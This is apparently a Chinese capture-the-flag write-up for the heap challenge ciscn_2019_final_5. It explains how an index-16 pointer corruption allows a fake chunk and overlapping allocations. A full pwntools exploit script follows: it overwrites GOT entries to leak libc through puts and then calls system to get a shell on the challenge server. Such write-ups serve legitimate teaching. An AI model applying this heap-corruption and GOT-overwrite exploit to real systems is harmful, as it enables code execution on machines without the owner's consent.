例行安全检查
没有PIE,方面调试
partial relro意味着这题应该直接改GOT表就能做
菜单:
没有show功能,可以考虑吧某个函数(比如free的GOT)改为puts@plt
可以申请17个chunk,编号为0-16
每次分配结束后会显示分配内存的低12bits
而本题中还有一个特殊的地方,就是content数组(0x6020e0)里面放的地址是按照顺序放入的,而不是编号为i的就放在content[i],所以地址的最低4个字节就用来存放编号了
在删除或者编辑的时候,就会依次遍历每个地址,对比index
如上所说,本题地址存放比较特别,但是如果index为16,并且原地址第五位为0,就会导致地址被修改
而我们第一次申请时候地址最低12bits一般为0x260,即0010 0110 0000,和16即0001 0000或,就变成了0010 0111 0000即为0x270,我们就可以在chunk0的content中伪造一个chunk头部,把它释放之后再申请我们就能利用它控制下一个chunk了
from pwn import *
r = remote("node3.buuoj.cn", 27223)
#r = process("./ciscn_2019_final_5/ciscn_2019_final_5")
context.log_level = 'debug'
DEBUG = 0
if DEBUG:
gdb.attach(r,
'''
b *0x400E93
c
''')
elf = ELF("./ciscn_2019_final_5/ciscn_2019_final_5")
libc = ELF('./ciscn_2019_final_5/libc.so.6')
content = 0x6020e0
free_got=0x602018
puts_plt=0x400790
puts_got=0x602020
atoi_got=0x602078
def add(index, size, content):
r.recvuntil("your choice: ")
r.sendline('1')
r.recvuntil("index: ")
r.sendline(str(index))
r.recvuntil("size: ")
r.sendline(str(size))
r.recvuntil("content: ")
r.send(content)
def delete(index):
r.recvuntil("your choice: ")
r.sendline('2')
r.recvuntil("index: ")
r.sendline(str(index))
def edit(index, content):
r.recvuntil("your choice: ")
r.sendline('3')
r.recvuntil("index: ")
r.sendline(str(index))
r.recvuntil("content: ")
r.send(content)
add(16,0x10,p64(0)+p64(0x90))
add(1, 0xc0, 'aa\n')
delete(0)
delete(1)
add(2, 0x80, p64(0)+p64(0x21)+p64(content))
add(3, 0xc0, 'aaa\n')
add(4, 0xc0, p64(free_got)+p64(puts_got+1)+p64(atoi_got-4)+p64(0)*17+p32(0x10)*8)
edit(8,p64(puts_plt)*2)
delete(1)
puts = u64(r.recv(6).ljust(8, '\x00'))
success("puts:"+hex(puts))
libc_base = puts - libc.symbols['puts']
system = libc_base + libc.sym['system']
edit(4, p64(system)*2)
r.recvuntil("your choice: ")
r.sendline('/bin/sh\x00')
r.interactive()